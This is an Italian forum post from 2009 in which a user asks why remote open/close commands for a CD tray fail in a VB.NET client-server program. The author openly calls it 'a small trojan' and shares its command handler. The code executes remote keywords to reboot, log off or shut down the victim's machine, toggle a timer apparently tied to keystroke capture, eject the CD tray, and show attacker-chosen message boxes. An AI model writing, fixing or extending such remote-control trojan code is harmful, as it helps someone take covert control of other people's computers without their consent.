C# / VB.NET - Problema apertura e chiusura cassetto cd

Forum - C# / VB.NET - Problema apertura e chiusura cassetto cd

LittleHacker (Member)
Guru

Messaggi: 1033
Iscritto: 28/04/2009

Postato alle 22:15
Mercoledì, 26/08/2009

Salve a tutti sto cercando un modo per riuscire ad aprire e chiudere il cassetto del lettore cd in remoto con vb.net il client l'ho già creato pure il server, tutilizzo un timer per controllare quale delle due parole siano state inviate o open o close ma non riesco ne a chiudere ne ad aprire il cd...pensando a un problema di connessione ho provato ad inserirci anche una message box da client a server ma in questo caso funziona...ho controllato anche in locale x l'apertuta e la chiusura del cd e funge non capisco xkè questo è il codice:

Codice sorgente - presumibilmente VB.NET

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'API
 
Select Case keywords
            Case "Disconnect"
                Application.Exit()
            Case "reboot"
                ControlKeywords.Stop()
                Shell("shutdown -r")
            Case "disconnectuser"
                ControlKeywords.Stop()
                Shell("shutdown -l")
            Case "activekey"
                ControlKeywords.Stop()
                SendKeys.Start()
            Case "deactivekey"
                ControlKeywords.Stop()
                SendKeys.Stop()
            Case "opencd"
                ControlKeywords.Stop()
                Dim lRet As Long
                lRet = mciSendString("set CDAudio door open", "", 127, 0) ' questa è la parte che mi interessa
            Case "closecd"
                ControlKeywords.Stop()
                Dim lRet As Long
                lRet = mciSendString("set CDAudio door close", "", 127, 0) ' e questa 
            Case "activetastiera"
                ControlKeywords.Stop()
            Case "deactivetastiera"
                ControlKeywords.Stop()
            Case "shutdown"
                ControlKeywords.Stop()
                Shell("shutdown -s")
        End Select
        If keywords.Contains("MsgBox") Then
            ControlKeywords.Stop()
            Dim a() As String = keywords.Split("MsgBox")
            Dim b As String = a(1)
            Dim c() As String = b.Split("|")
            Dim d As String = c(0)
            Dim en As String = d.Replace("sgBox", "")
            Dim Message As String = en
            Dim Title As String = c(2)
            Dim Tipe As String = c(1)
            If Tipe = "1" Then
                MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.None)
                ControlKeywords.Stop()
            ElseIf Tipe = "2" Then
                MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.Information)
                ControlKeywords.Stop()
            ElseIf Tipe = "3" Then
                MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
                ControlKeywords.Stop()
            ElseIf Tipe = "4" Then
                MessageBox.Show(message, Title, MessageBoxButtons.OK, MessageBoxIcon.Error)
                ControlKeywords.Stop()
            End If
        End If

PS: ho messo tutto il codice del mio programma 8-|

è un piccolo trojan per scopo informativo...solo e dico solamente per scopo informativo xkè non mi piace "distruggere" i pc altrui...Spero mi capirete :k:

oubt:

Ultima modifica effettuata da LittleHacker il 26/08/2009 alle 22:17